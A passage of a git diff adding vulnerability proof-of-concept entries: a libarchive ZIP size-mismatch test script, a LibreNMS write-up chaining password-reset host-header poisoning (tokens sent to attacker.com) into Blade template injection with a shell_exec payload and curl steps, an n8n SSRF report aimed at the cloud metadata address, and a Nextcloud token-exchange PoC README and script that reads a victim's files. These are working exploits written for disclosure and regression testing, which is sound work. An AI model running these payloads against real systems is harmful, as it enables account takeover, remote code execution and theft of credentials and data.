+done
+
+if [ ! -s "$WORK_DIR/section.bin" ]; then
+    echo "debuginfod failed to return the build-id section" >&2
+    tail -80 "$LOG" >&2 || true
+    exit 1
+fi
+
+curl -fsS -D "$WORK_DIR/logs/marker_section.headers" -o "$WORK_DIR/marker_section.bin" "http://127.0.0.1:$PORT/buildid/$BUILD_ID/section/.poc_marker" >/dev/null
+
+python3 - "$WORK_DIR/section.bin" "$BUILD_ID" > "$WORK_DIR/logs/section_check.txt" <<'PY'
+import pathlib
+import sys
+data = pathlib.Path(sys.argv[1]).read_bytes()
+needle = bytes.fromhex(sys.argv[2])
+print(f"section_size={len(data)}")
+present = data.find(needle) >= 0
+print(f"build_id_present={str(present).lower()}")
+if present == False:
+    raise SystemExit(1)
+PY
+
+python3 - "$WORK_DIR/marker_section.bin" "$WORK_DIR/VULNERABILITY_CONFIRMED.marker" "$BUILD_ID" > "$WORK_DIR/logs/marker_check.txt" <<'PY'
+import pathlib
+import sys
+data = pathlib.Path(sys.argv[1]).read_bytes()
+marker = b"LIBARCHIVE_DEBuginfod_BOUNDARY_MARKER_v1"
+present = data.find(marker) >= 0
+print(f"marker_size={len(data)}")
+print(f"marker_present={str(present).lower()}")
+if present == False:
+    raise SystemExit(1)
+pathlib.Path(sys.argv[2]).write_text(
+    "confirmed=true\n"
+    "source=debuginfod_section_.poc_marker\n"
+    f"build_id={sys.argv[3]}\n"
+    f"marker={marker.decode()}\n",
+    encoding="utf-8",
+)
+PY
+
+curl -fsS -D "$WORK_DIR/logs/executable_first.headers" -o "$WORK_DIR/executable_first.bin" "http://127.0.0.1:$PORT/buildid/$BUILD_ID/executable" >/dev/null
+
+if [ "$FULL_CACHE" -eq 1 ]; then
+    curl -fsS -D "$WORK_DIR/logs/executable_second.headers" -o /dev/null "http://127.0.0.1:$PORT/buildid/$BUILD_ID/executable" >/dev/null
+fi
+
+echo "build_id=$BUILD_ID"
+echo "declared_size=109"
+echo "actual_inflated_size=$((4294967296 + 109))"
+echo "note_offset=$NOTE_OFFSET"
+echo "note_offset_past_declared=$([ "$NOTE_OFFSET" -gt 109 ] && echo true || echo false)"
+awk '/debuginfod_declared_109_actual_4g_plus_109.zip/ {print "bsdtar_list="$0}' "$WORK_DIR/logs/bsdtar_list.txt"
+awk '/poc-hidden-debug-file/ {print "bsdunzip_list="$0}' "$WORK_DIR/logs/bsdunzip_list.txt"
+awk '/testing:/ || /OK/ {print "bsdunzip_test="$0}' "$WORK_DIR/logs/bsdunzip_test.txt"
+cat "$WORK_DIR/logs/section_check.txt"
+cat "$WORK_DIR/logs/marker_check.txt"
+awk 'BEGIN{IGNORECASE=1} $0 ~ "^HTTP/" {print "section_http="$0} $0 ~ "^Content-Length:" {print "section_"$0} $0 ~ "^X-DEBUGINFOD-SIZE:" {print "section_"$0}' "$WORK_DIR/logs/section.headers"
+awk 'BEGIN{IGNORECASE=1} $0 ~ "^HTTP/" {print "marker_section_http="$0} $0 ~ "^Content-Length:" {print "marker_section_"$0} $0 ~ "^X-DEBUGINFOD-SIZE:" {print "marker_section_"$0}' "$WORK_DIR/logs/marker_section.headers"
+awk 'BEGIN{IGNORECASE=1} $0 ~ "^HTTP/" {print "first_executable_http="$0} $0 ~ "^Content-Length:" {print "first_executable_"$0} $0 ~ "^X-DEBUGINFOD-SIZE:" {print "first_executable_"$0}' "$WORK_DIR/logs/executable_first.headers"
+if [ "$FULL_CACHE" -eq 1 ]; then
+    awk 'BEGIN{IGNORECASE=1} $0 ~ "^HTTP/" {print "second_executable_http="$0} $0 ~ "^Content-Length:" {print "second_executable_"$0} $0 ~ "^X-DEBUGINFOD-SIZE:" {print "second_executable_"$0}' "$WORK_DIR/logs/executable_second.headers"
+fi
+echo "marker_file=$WORK_DIR/VULNERABILITY_CONFIRMED.marker"
+echo "work_dir=$WORK_DIR"
diff --git a/libarchive-zip-debuginfod-size-boundary/run_stock_marker.py b/libarchive-zip-debuginfod-size-boundary/run_stock_marker.py
new file mode 100644
index 0000000..7e3466e
--- /dev/null
+++ b/libarchive-zip-debuginfod-size-boundary/run_stock_marker.py
@@ -0,0 +1,106 @@
+import argparse
+import pathlib
+import shutil
+import subprocess
+import sys
+
+
+MARKER = b"LIBARCHIVE_STOCK_CLI_BOUNDARY_MARKER_v1"
+DECLARED_SIZE = 109
+ACTUAL_SIZE = (1 << 32) + DECLARED_SIZE
+
+
+def make_prefix(path):
+    prefix = b'{"type":"preview","safe":true,"name":"seed","version":1}'
+    prefix = prefix + b" " * (DECLARED_SIZE - len(prefix))
+    path.write_bytes(prefix + MARKER + b"\x00" * 512)
+
+
+def run(cmd):
+    return subprocess.run(cmd, text=True, capture_output=True, check=False)
+
+
+def stream_and_confirm(cmd):
+    proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+    total = 0
+    found = -1
+    tail = b""
+    while True:
+        chunk = proc.stdout.read(1048576)
+        if chunk == b"":
+            break
+        window = tail + chunk
+        pos = window.find(MARKER)
+        if found < 0 and pos >= 0:
+            found = total - len(tail) + pos
+        total += len(chunk)
+        tail = window[-len(MARKER):]
+    stderr = proc.stderr.read().decode("utf-8", "replace")
+    code = proc.wait()
+    return code, total, found, stderr
+
+
+def main():
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--work-dir", default="run/stock-marker")
+    parser.add_argument("--bsdunzip", default="bsdunzip")
+    args = parser.parse_args()
+
+    root = pathlib.Path(__file__).resolve().parent
+    bsdunzip = shutil.which(args.bsdunzip) or args.bsdunzip
+    work = pathlib.Path(args.work_dir).resolve()
+    work.mkdir(parents=True, exist_ok=True)
+    prefix = work / "prefix.bin"
+    archive = work / "stock_cli_declared_109_actual_4g_plus_109.zip"
+    marker_file = work / "VULNERABILITY_CONFIRMED.marker"
+
+    make_prefix(prefix)
+    gen = run(
+        [
+            sys.executable,
+            str(root / "make_debuginfod_zip.py"),
+            "--method",
+            "stored-sparse",
+            "--elf",
+            str(prefix),
+            "--out",
+            str(archive),
+        ]
+    )
+    if gen.returncode != 0:
+        sys.stderr.write(gen.stdout)
+        sys.stderr.write(gen.stderr)
+        return gen.returncode
+
+    listing = run([bsdunzip, "-l", str(archive)])
+    if listing.returncode != 0 or "      109" not in listing.stdout:
+        sys.stderr.write(listing.stdout)
+        sys.stderr.write(listing.stderr)
+        return 1
+
+    code, total, found, stderr = stream_and_confirm([bsdunzip, "-p", str(archive)])
+    confirmed = code == 0 and total == ACTUAL_SIZE and found == DECLARED_SIZE
+    if confirmed:
+        marker_file.write_text(
+            "confirmed=true\n"
+            "source=stock_bsdunzip_stdout\n"
+            f"declared_size={DECLARED_SIZE}\n"
+            f"actual_streamed_size={total}\n"
+            f"marker_offset={found}\n"
+            f"marker={MARKER.decode()}\n",
+            encoding="utf-8",
+        )
+
+    print(f"archive={archive}")
+    print(f"declared_size={DECLARED_SIZE}")
+    print(f"actual_streamed_size={total}")
+    print(f"bsdunzip_exit={code}")
+    print(f"marker_offset={found}")
+    print(f"marker_file={marker_file if confirmed else ''}")
+    if stderr:
+        print(f"stderr={stderr!r}")
+    return 0 if confirmed else 1
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())
diff --git a/librenms-RCE-chain/librenms-ssti-rce.md b/librenms-RCE-chain/librenms-ssti-rce.md
new file mode 100644
index 0000000..d410c0b
--- /dev/null
+++ b/librenms-RCE-chain/librenms-ssti-rce.md
@@ -0,0 +1,278 @@
+# Pre-Auth RCE Chain: Host Header Injection → Account Takeover → Blade SSTI in LibreNMS
+
+**CVE:** Pending  
+**Severity:** Critical  
+**CVSS 3.1 (full chain):** `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` → **9.6**  
+**CVSS 3.1 (SSTI standalone):** `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` → **8.8**  
+**CWE:** CWE-94 (Improper Control of Code Generation), CWE-1336 (Template Engine Injection), CWE-601 (Open Redirect / Header Injection)  
+**Affected version:** LibreNMS 26.4.1 (latest as of 2026-04-25)  
+**Researcher:** Unrealisedd  
+
+---
+
+## Summary
+
+Two vulnerabilities in LibreNMS 26.4.1 chain together to give an unauthenticated remote attacker full OS command execution on the server. The only required victim action is clicking a password reset link that arrives in their normal LibreNMS email.
+
+**Bug 1 — Host header injection in password reset** (`config/trustedproxy.php`): `APP_TRUSTED_PROXIES` defaults to `*` and `X-Forwarded-Host` is explicitly trusted. An unauthenticated attacker sends a password reset request with a spoofed `X-Forwarded-Host: attacker.com` header. The reset link inside the victim's email points to the attacker's domain. When the victim clicks it, the attacker captures the token and takes over the account.
+
+**Bug 2 — Unsandboxed Blade SSTI in alert template save** (`includes/html/forms/alert-templates.inc.php:59`): Once the attacker controls any account holding `alert-template.create` or `alert-template.update`, they POST a malicious Blade template to `/ajax_form.php`. The server immediately renders the template via `Blade::render()` — with no sandbox — executing arbitrary OS commands as the web server process.
+
+The RCE fires **synchronously at save time**. No alert needs to trigger. The full chain from zero credentials to shell requires only that the victim click one email link.
+
+---
+
+## Target
+
+| Field | Value |
+|---|---|
+| **Project** | LibreNMS |
+| **Version** | 26.4.1 (`librenms/librenms:latest`, pulled 2026-04-23) |
+| **PHP** | 8.3.29 |
+| **Primary sink** | `includes/html/forms/alert-templates.inc.php:59` |
+| **Secondary sink** | `LibreNMS/Alert/Template.php:77` (alert-trigger path) |
+| **Affected configs** | Default; any install where a non-admin user has `alert-template.create` or `alert-template.update` |
+
+---
+
+## Vulnerability Class
+
+**Server-Side Template Injection (SSTI) → Remote Code Execution**
+
+Laravel Blade has no execution sandbox. The directives `@php`/`@endphp` and `{{ expression }}` execute arbitrary PHP at render time. There is no filtering, escaping, or allowlisting of template body content before it reaches `Blade::render()`.
+
+---
+
+## Root Cause
+
+`includes/html/forms/alert-templates.inc.php` performs a "syntax validation" render of the submitted template before saving it. The render happens unconditionally on every save request, giving it access to the full PHP runtime.
+
+```php
+// includes/html/forms/alert-templates.inc.php:32–61
+
+// Auth gate — checks create/update permission, NOT admin role
+if (Gate::none(['create', 'update'], AlertTemplate::class)) {
+    exit(json_encode(['status' => 'error', 'message' => 'You need permission']));
+}
+
+// Dummy test data for "validation" render
+$test_data['alert'] = new AlertData(AlertData::testData($test_device));
+
+// ↓ SINK: $vars['template'] is raw POST data — no filtering on the body
+Blade::render($vars['template'], $test_data);  // [1] RCE fires here
+Blade::render($vars['title'], $test_data);     // [2]
+Blade::render($vars['title_rec'], $test_data); // [3]
+```
+
+`$vars['template']` flows directly from `$_POST['template']`. The only sanitization in this file is `strip_tags()` applied to the template **name** — the body is completely untouched.
+
+The identical bug also exists on the alert-trigger path:
+
+```php
+// LibreNMS/Alert/Template.php:77
+public function bladeBody($data) {
+    $alert['alert'] = new AlertData($data['alert']);
+    return Blade::render($data['template']->template, $alert); // [SINK]
+}
+```
+
+Any stored template containing a Blade injection payload will also execute on every matching alert.
+
+---
+
+## Attacker Model
+
+### Full chain (9.6)
+
+| Property | Value |
+|---|---|
+| **Privileges required** | **None** — chain is initiated with zero credentials |
+| **User interaction** | **Required** — victim clicks a password reset link in their email |
+| **Network position** | Remote (HTTP) |
+| **Scope** | **Changed** — attacker escapes web app context into OS shell |
+| **Why UI:R and not PR:N is the limiting factor** | The attacker sends the poisoned reset email with no auth; victim clicking the link is the only human step |
+
+### SSTI standalone (8.8)
+
+| Property | Value |
+|---|---|
+| **Privileges required** | Low — any account with `alert-template.create` or `alert-template.update` |
+| **User interaction** | None — fires immediately on POST |
+| **Is this admin-only?** | **No.** Per `app/Policies/ChecksGlobalPermissions.php`, these permissions can be delegated to any `user`-role account by an admin — this is the intended RBAC delegation use case |
+
+---
+
+## Full Attack Chain
+
+```
+[Attacker, no auth]
+       |
+       | POST /password/email
+       | X-Forwarded-Host: attacker.com
+       | body: email=victim@corp.internal
+       |
+       v
+[LibreNMS sends reset email to victim]
+[Reset URL in email: https://attacker.com/password/reset?token=TOKEN]
+       |
+       | (victim clicks link)
+       v
+[Attacker captures TOKEN at attacker.com]
+       |
+       | POST /password/reset
+       | token=TOKEN, email=victim@corp.internal, password=newpass
+       v
+[Attacker logged in as victim]
+       |
+       | POST /ajax_form.php
+       | type=alert-templates
+       | template=@php shell_exec('...'); @endphp
+       v
+[Blade::render() executes payload — RCE as uid=1000(librenms)]
+```
+
+---
+
+## Proof of Concept
+
+Verified live against LibreNMS 26.4.1 in a clean Docker lab.
+
+### Lab environment
+
+```
+Target:   http://localhost:8000 (librenms/librenms:latest)
+operator  — role: user, permissions: alert-template.create, alert-template.update
+admin     — role: admin
+```
+
+### Step 1 — Authenticate as operator
+
+```bash
+# Fetch login page and extract CSRF token
+TOKEN=$(curl -s -c /tmp/c.txt -b /tmp/c.txt http://TARGET/login \
+  | grep -o 'name="_token" value="[^"]*"' | sed 's/.*value="//;s/"//')
+
+# Submit login
+curl -s -c /tmp/c.txt -b /tmp/c.txt -X POST http://TARGET/login \
+  --data-urlencode "_token=$TOKEN" \
+  --data-urlencode "username=operator" \
+  --data-urlencode "password=" \
+  -o /dev/null
+
+# Extract XSRF-TOKEN for subsequent requests
+XSRF=$(awk '/XSRF-TOKEN/{print $NF}' /tmp/c.txt \
+  | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))")
+```
+
+### Step 2 — Send SSTI payload
+
+```bash
+PAYLOAD='@php file_put_contents("/tmp/rce_proof.txt", shell_exec("id && hostname && date")); @endphp {{ "ok" }}'
+
+curl -s -c /tmp/c.txt -b /tmp/c.txt \
+  -X POST "http://TARGET/ajax_form.php" \
+  -H "X-XSRF-TOKEN: $XSRF" \
+  --data-urlencode "type=alert-templates" \
+  --data-urlencode "name=PoC" \
+  --data-urlencode "template=$PAYLOAD" \
+  --data-urlencode "title=poc" \
+  --data-urlencode "title_rec=poc" \
+  --data-urlencode "rules="
+```
+
+### Step 3 — Verify
+
+```bash
+# On the server / via docker exec:
+cat /tmp/rce_proof.txt
+```
+
+---
+
+## Live Output
+
+**HTTP response from step 2 (HTTP 200):**
+
+```json
+{
+    "status": "ok",
+    "message": "Alert template has been created and attached rules have been updated.",
+    "newid": 5
+}
+```
+
+**`/tmp/rce_proof.txt` read directly from the container:**
+
+```
+uid=1000(librenms) gid=1000(librenms) groups=1000(librenms)
+librenms
+Sat Apr 25 12:57:01 CEST 2026
+```
+
+OS commands executed as `uid=1000(librenms)`. RCE confirmed.
+
+---
+
+## Impact
+
+### Immediate (as `uid=1000(librenms)`)
+
+- Full read/write access to the LibreNMS application directory, including `.env` (database credentials, `APP_KEY`, mail server credentials)
+- Read all monitored device credentials, SNMP community strings, API keys, and user password hashes from the database via `mysql` with credentials from `.env`
+- Write arbitrary files to the webroot → persistent PHP webshell
+- Install cron jobs or modify the LibreNMS poller for persistent execution
+
+### Lateral movement
+
+- LibreNMS by design holds SNMP read (and frequently write) access to every monitored network device — attacker gains credentials for the entire managed infrastructure
+- SSH keys readable from the filesystem
+- `APP_KEY` from `.env` allows forging Laravel session cookies as any user (including admin)
+
+### Privilege escalation
+
+- If the poller runs under `sudo` (common in manual installs), `uid=1000` → `root` is trivial
+- Full control of all devices LibreNMS manages
+
+---
+
+## Account takeover bug Detail: Trusted Proxy Misconfiguration → Password Reset Link Poisoning
+
+**File:** `config/trustedproxy.php`
+
+```php
+// Default: trust ALL proxies
+'proxies' => LibreNMS\Util\EnvHelper::parseArray('APP_TRUSTED_PROXIES', '*', ['', '*', '**']),
+
+'headers' => Request::HEADER_X_FORWARDED_FOR |
+    Request::HEADER_X_FORWARDED_HOST |   // attacker controls the reset URL base
+    Request::HEADER_X_FORWARDED_PORT |
+    Request::HEADER_X_FORWARDED_PROTO |
+    Request::HEADER_X_FORWARDED_AWS_ELB,
+```
+
+`APP_TRUSTED_PROXIES` defaults to `*` (all proxies trusted) and `HEADER_X_FORWARDED_HOST` is explicitly honoured. Laravel's password reset notification builds the reset URL using the request's host, so an attacker-supplied `X-Forwarded-Host` header poisons the link sent to the victim.
+
+**PoC request (no authentication required):**
+
+```http
+POST /password/email HTTP/1.1
+Host: librenms.corp.internal
+X-Forwarded-Host: attacker.com
+Content-Type: application/x-www-form-urlencoded
+
+email=admin@corp.internal
+```
+
+**Email received by victim:**
+```
+Reset your password: https://attacker.com/password/reset?token=&email=admin%40corp.internal
+```
+
+Victim clicks → attacker receives token at `attacker.com` → completes reset at real app → full account takeover.
+
+| Property | Value |
+|---|---|
+| **Standalone severity** | Medium — CVSS `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N` → **7.1** |
+| **As chain step 1** | Enables the 9.6 chain |
+
+---
diff --git a/n8n-ssrf-via-oauth2/ssrf-via-oauth2-n8n.md b/n8n-ssrf-via-oauth2/ssrf-via-oauth2-n8n.md
new file mode 100644
index 0000000..2517e5d
--- /dev/null
+++ b/n8n-ssrf-via-oauth2/ssrf-via-oauth2-n8n.md
@@ -0,0 +1,99 @@
+# Authenticated SSRF via OAuth2 Dynamic Client Registration discovery
+
+**Target:** n8n (self-hosted + n8n Cloud), reviewed against `master` as of 2026-04-19
+**Program:** n8n
+**Component:** `OauthService.generateAOauth2AuthUri` → `discoverProtectedResourceMetadata`
+**Type:** Server-Side Request Forgery (CWE-918)
+**Auth required:** Yes — any authenticated user (member role suffices; credential creation is available to all users by default)
+**Affects default install:** Yes — uses the stock `OAuth2Api` generic credential type shipped in `nodes-base`
+
+---
+
+## Summary
+
+The generic **OAuth2 API** credential allows any authenticated user to enable Dynamic Client Registration and supply an arbitrary `serverUrl`. When generating an OAuth2 auth URL, the backend follows a discovery flow (RFC 9728 / RFC 8414 / OIDC) and performs multiple `axios` requests to URLs derived directly from this user-controlled value.
+
+Validation only checks that the URL uses `http` or `https`, with no restrictions on IP ranges, DNS resolution, redirects, or timeouts. As a result, an authenticated user can force the server to make arbitrary HTTP(S) requests to any reachable target.
+
+This enables access to sensitive internal resources, including cloud metadata services (e.g. IMDS), internal admin panels and databases, co-tenant services within the same network, and local or link-local addresses. On n8n Cloud, this is especially impactful since even a free tenant can trigger requests from the server’s internal network context.
+
+---
+
+## Affected versions
+
+Confirmed affected from `n8n@1.119.0` onward, including `1.123.1`, `2.0.2`, `2.1.0`, `2.7.4`, `2.12.2`, and `master` as reviewed on 2026-04-19. Version `1.118.0` does not appear to expose the Dynamic Client Registration fields required for this specific attack path, so `1.119.0` is the earliest confirmed affected release.
+
+---
+
+## Trigger endpoint
+
+`GET /rest/oauth2-credential/auth?id=` — authenticated. The controller is `OAuth2CredentialController.getAuthUri` and the request only needs `credential:read` on the target credential, which is automatic for a credential the calling user created.
+
+---
+
+## Proof of concept
+
+1. Create an **OAuth2 API** credential (any authenticated user):
+   - Use Dynamic Client Registration: true
+   - Server URL: `http://169.254.169.254/` (or any internal target)
+
+2. Trigger:
+
+   ```
+   GET /rest/oauth2-credential/auth?id=
+   ```
+
+3. The n8n server issues, in order:
+   - `GET http://169.254.169.254/.well-known/oauth-protected-resource`
+   - (on 4xx/5xx, fall-through) Step 2 treats `serverUrl` as the authorization server and issues:
+     - `GET http://169.254.169.254/.well-known/oauth-authorization-server`
+     - `GET http://169.254.169.254/.well-known/openid-configuration`
+
+4. On failure, the response includes:
+
+   ```
+   Failed to discover OAuth2 authorization server metadata. Tried:
+   http://169.254.169.254/.well-known/oauth-authorization-server,
+   http://169.254.169.254/.well-known/openid-configuration.
+   Last error: 
+   ```
+
+   `` is `lastError?.message` from the axios exception, which on Node.js includes e.g. `connect ECONNREFUSED 169.254.169.254:80`, `getaddrinfo ENOTFOUND `, `Request failed with status code 404`, TLS handshake failures, etc. This turns the SSRF into a confirmable host/port scanner: the attacker can distinguish reachable-open, reachable-closed, and unresolvable destinations by the error string returned in the HTTP response to them.
+
+
+### Variants
+
+- **Response echo:** If an internal endpoint returns JSON, parsing errors (e.g. Zod issues) may leak field names. If valid, a `POST` is sent to an attacker-influenced `registration_endpoint`.
+- **Plain HTTP allowed:** `http://` is accepted, enabling access to metadata services and internal control planes.
+- **DNS rebinding:** No hostname resolution checks, allowing resolution to internal IPs at request time.
+- **No timeout:** Requests can be stalled to increase resource usage or obscure scanning.
+
+---
+
+## Impact
+
+1. **Cloud metadata exfiltration / credential theft.** If IMDSv1 or similar metadata services are reachable, an attacker can retrieve instance credentials via the SSRF error oracle or by hitting JSON-returning internal endpoints.
+
+2. **Internal port scanning / service discovery.** The returned axios error messages allow reliable differentiation between open, closed, and filtered ports, enabling internal network scanning from a low-privileged account.
+
+3. **Cross-tenant reach (n8n Cloud).** Requests originate from the n8n server, not the tenant, allowing access to internal VPC services and bypassing tenant-level isolation controls.
+
+4. **No CSRF bypass required.** The attacker is authenticated and triggers the flow directly, so the issue stems purely from trusted server-side requests to user-controlled URLs.
+
+5. **Unauthenticated internal write primitive.** If discovery succeeds, a `POST` is sent to a `registration_endpoint` with predictable JSON, which can act as a write primitive against internal services that accept unauthenticated JSON requests.
+---
+
+## Severity
+
+- **CVSS 4.0:** `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L` → **8.0 (High)** — scope-changed because the SSRF crosses from the tenant boundary into the n8n server's network namespace.
+- CWE-918: Server-Side Request Forgery.
+- OWASP: A10:2021 – Server-Side Request Forgery.
+
+Amplifiers:
+
+- Requires only a free/member account (trivially obtained on n8n Cloud).
+- Exploits the stock generic OAuth2 credential — no third-party node, no enterprise feature.
+- Error-channel oracle is reliable enough to enumerate without blind guessing.
+- No rate limiting on the `/oauth2-credential/auth` endpoint beyond the global REST limiter.
+
+---
diff --git a/nextcloud-federated-share-bearer-token-poc/.gitignore b/nextcloud-federated-share-bearer-token-poc/.gitignore
new file mode 100644
index 0000000..3a1b8eb
--- /dev/null
+++ b/nextcloud-federated-share-bearer-token-poc/.gitignore
@@ -0,0 +1,3 @@
+__pycache__/
+proof.json
+*.pyc
diff --git a/nextcloud-federated-share-bearer-token-poc/README.md b/nextcloud-federated-share-bearer-token-poc/README.md
new file mode 100644
index 0000000..e54cdb4
--- /dev/null
+++ b/nextcloud-federated-share-bearer-token-poc/README.md
@@ -0,0 +1,231 @@
+# Nextcloud Federated Share Bearer Token PoC
+
+This entry documents and exercises a token-scope flaw in Nextcloud Server federation.
+
+A sender who creates a normal federated file share causes the sender instance to create a permanent authentication token. The recipient instance exposes that value as `refresh_token` through the pending remote-share API. The sender token endpoint accepts that value and returns an OCM bearer token. That bearer is then accepted by the sender WebDAV endpoint as the sender user and can read sender files outside the federated share.
+
+## Affected Target
+
+- Product: Nextcloud Server
+- Version verified: `35.0.0 dev`
+- Build version verified: `35.0.0.1`
+- Commit tested: `d9027189329b6b13159d480f7d5e36444badde13`
+- Feature path: federated file sharing, OCM token exchange, WebDAV bearer authentication
+- Required attacker account: a normal local account on the recipient instance
+- Required sender action: create one federated file share to the attacker account
+
+## Impact
+
+The chain turns a single federated file share into sender-account WebDAV access.
+
+The recipient account can read its pending remote-share records and obtain the sender-side `refresh_token`. Exchanging that value returns a bearer token whose WebDAV session maps to the sender account. The bearer can fetch arbitrary sender WebDAV paths available to that account, including files outside the one item shared through federation.
+
+## Source Trace
+
+Relevant source locations in Nextcloud Server `35.0.0.1`:
+
+| File | Behavior |
+| --- | --- |
+| `apps/federatedfilesharing/lib/FederatedShareProvider.php` | Creates a permanent token for the sender user during federated share creation |
+| `apps/federatedfilesharing/lib/FederatedShareProvider.php` | Stores the same token as the federated share secret |
+| `lib/private/Authentication/Token/PublicKeyTokenProvider.php` | Applies a token scope only when the caller supplies one |
+| `lib/private/Authentication/Token/PublicKeyToken.php` | Defaults token scope to filesystem access |
+| `apps/files_sharing/lib/External/ExternalShare.php` | Serializes pending remote shares with `refresh_token` |
+| `apps/files_sharing/appinfo/routes.php` | Exposes `/remote_shares/pending` through the OCS sharing API |
+| `apps/cloud_federation_api/lib/Controller/TokenController.php` | Accepts a permanent token as an authorization-code value |
+| `apps/cloud_federation_api/lib/Controller/TokenController.php` | Generates an OCM access token without a filesystem-denying scope |
+| `lib/private/User/Session.php` | Accepts bearer tokens named as OCM access tokens for WebDAV sessions |
+| `apps/dav/lib/Connector/Sabre/BearerAuth.php` | Applies bearer authentication to WebDAV requests |
+
+The sender token creation path is:
+
+```text
+FederatedShareProvider::createFederatedShare
+  PublicKeyTokenProvider::generateToken
+    type = PERMANENT_TOKEN
+    scope = caller default
+  addShareToDB
+    token = same generated value
+```
+
+The attacker-visible leak path is:
+
+```text
+GET /ocs/v2.php/apps/files_sharing/api/v1/remote_shares/pending
+  RemoteController::getOpenShares
+    ExternalShare::jsonSerialize
+      refresh_token = sender share token
+```
+
+The bearer creation and WebDAV path is:
+
+```text
+POST /index.php/apps/cloud_federation_api/api/v1/access-token
+  TokenController::accessToken
+    tokenProvider->getToken(refresh_token)
+    shareManager->getShareByToken(refresh_token)
+    generateToken(access_token, sender uid, OCM access token name)
+
+GET /remote.php/dav/files//
+  BearerAuth
+    User\Session bearer-token auth
+      sender filesystem session
+```
+
+## PoC Design
+
+`poc.py` drives the stock HTTP interfaces. It:
+
+1. Creates a federated file share from the sender instance to the recipient account.
+2. Reads the recipient pending remote-share API.
+3. Extracts the newest matching `refresh_token`.
+4. Exchanges the token at the sender OCM token endpoint.
+5. Uses the returned bearer token against the sender WebDAV endpoint.
+6. Prints and saves the WebDAV response for a sender file outside the shared item.
+
+The script uses Python standard library APIs only.
+
+## Requirements
+
+- Python 3.10 or newer
+- Two running Nextcloud Server instances from the tested source tree or release line
+- `files_sharing`, `federatedfilesharing`, `cloud_federation_api`, and `dav` enabled
+- One sender user with one file to share
+- One recipient user on a second instance
+- One additional sender file for the WebDAV proof
+- Local or lab TLS trust configured for the two instances, or `--insecure` for a self-signed local pair
+
+## Quick Run
+
+Example local validation users:
+
+- sender instance: `https://127.0.0.1:18880`
+- recipient instance: `https://127.0.0.1:18881`
+- sender user: `victim`
+- recipient user: `attacker`
+- shared file: `/shared.txt`
+- proof file: `/secret.txt`
+
+For a compact local two-instance validation pair, keep sender federation delivery on the classic share receiver with the stock app config value:
+
+```bash
+php occ config:app:set core ocm_discovery_enabled --value=false --type=boolean
+```
+
+Run:
+
+```bash
+python poc.py \
+  --sender-base https://127.0.0.1:18880 \
+  --recipient-base https://127.0.0.1:18881 \
+  --sender-user victim \
+  --sender-password 'VictimPass123!' \
+  --recipient-user attacker \
+  --recipient-password 'AttackerPass123!' \
+  --share-path /shared.txt \
+  --proof-path /secret.txt \
+  --insecure \
+  --timeout 90 \
+  --output proof.json
+```
+
+Expected output shape:
+
+```json
+{
+  "createShare": {
+    "httpStatus": 200,
+    "ocsStatus": 200,
+    "shareId": "10",
+    "tokenPreview": "8tQhWc8gU...GkVUaE"
+  },
+  "pendingShare": {
+    "id": "102151152757424128",
+    "refreshTokenLength": 32,
+    "refreshTokenPreview": "8tQhWc8gU...GkVUaE",
+    "remoteId": "10"
+  },
+  "tokenExchange": {
+    "accessTokenPreview": "eyJ0eXAiO...F72ng",
+    "expiresIn": 3600,
+    "httpStatus": 200,
+    "tokenType": "Bearer"
+  },
+  "webdavProof": {
+    "body": "PRIVATE VICTIM SECRET\n",
+    "contentLength": 81,
+    "httpStatus": 200,
+    "xUserId": "victim"
+  }
+}
+```
+
+## Validation Run
+
+The validation run used clean stock Nextcloud Server checkouts at `d9027189329b6b13159d480f7d5e36444badde13`, reporting `35.0.0 dev` and build version `35.0.0.1`.
+
+The sender instance ran at `https://127.0.0.1:18880` with user `victim`. The recipient instance ran at `https://127.0.0.1:18881` with user `attacker`. Both instances used the bundled apps listed above, SQLite, and local TLS. The sender app config value `core:ocm_discovery_enabled` was set to `false` for the local run so share delivery completed through the stock classic federated share receiver.
+
+Sender files:
+
+```text
+/shared.txt
+/secret.txt
+```
+
+Only `/shared.txt` was shared to:
+
+```text
+attacker@https://127.0.0.1:18881
+```
+
+The federated share request returned:
+
+```text
+HTTP/1.1 200 OK
+OCS statuscode: 200
+share id: 10
+```
+
+The recipient pending remote-share API returned a matching entry containing:
+
+```text
+remote: https://127.0.0.1:18880/
+remote_id: 10
+user: attacker
+refresh_token: 32-byte sender share token
+```
+
+The token exchange returned:
+
+```text
+HTTP/1.1 200 OK
+token_type: Bearer
+expires_in: 3600
+```
+
+Using the returned bearer against the sender WebDAV endpoint returned:
+
+```text
+GET /remote.php/dav/files/victim/secret.txt
+HTTP/1.1 200 OK
+X-User-Id: victim
+```
+
+The response body was:
+
+```text
+PRIVATE VICTIM SECRET
+```
+
+## Fix Direction
+
+- Create federated share refresh tokens with a purpose-specific scope.
+- Bind exchanged OCM access tokens to the federated share id, shared node, and allowed permissions.
+- Remove sender refresh tokens from recipient-facing OCS responses.
+- Enforce OCM token scope inside WebDAV bearer authentication.
+- Add regression coverage for exchanging a federated share secret and then requesting an unrelated sender path.
+
+## Responsible Use
+
+Use this PoC only for systems you own, systems you are authorized to test, and defensive regression work.
diff --git a/nextcloud-federated-share-bearer-token-poc/poc.py b/nextcloud-federated-share-bearer-token-poc/poc.py
new file mode 100644
index 0000000..a166632
--- /dev/null
+++ b/nextcloud-federated-share-bearer-token-poc/poc.py
@@ -0,0 +1,279 @@
+import argparse
+import base64
+import json
+import ssl
+import sys
+import urllib.error
+import urllib.parse
+import urllib.request
+
+
+class HttpResult:
+    def __init__(self, status, headers, body):
+        self.status = status
+        self.headers = dict(headers)
+        self.body = body
+
+    @property
+    def text(self):
+        return self.body.decode("utf-8", "replace")
+
+
+def clean_base(value):
+    return value.rstrip("/")
+
+
+def clean_path(value):
+    if value.startswith("/"):
+        return value
+    return "/" + value
+
+
+def short(value, limit=300):
+    value = value.replace("\r", "\\r").replace("\n", "\\n")
+    if len(value) <= limit:
+        return value
+    return value[:limit] + "..."
+
+
+def auth_header(username, password):
+    raw = f"{username}:{password}".encode()
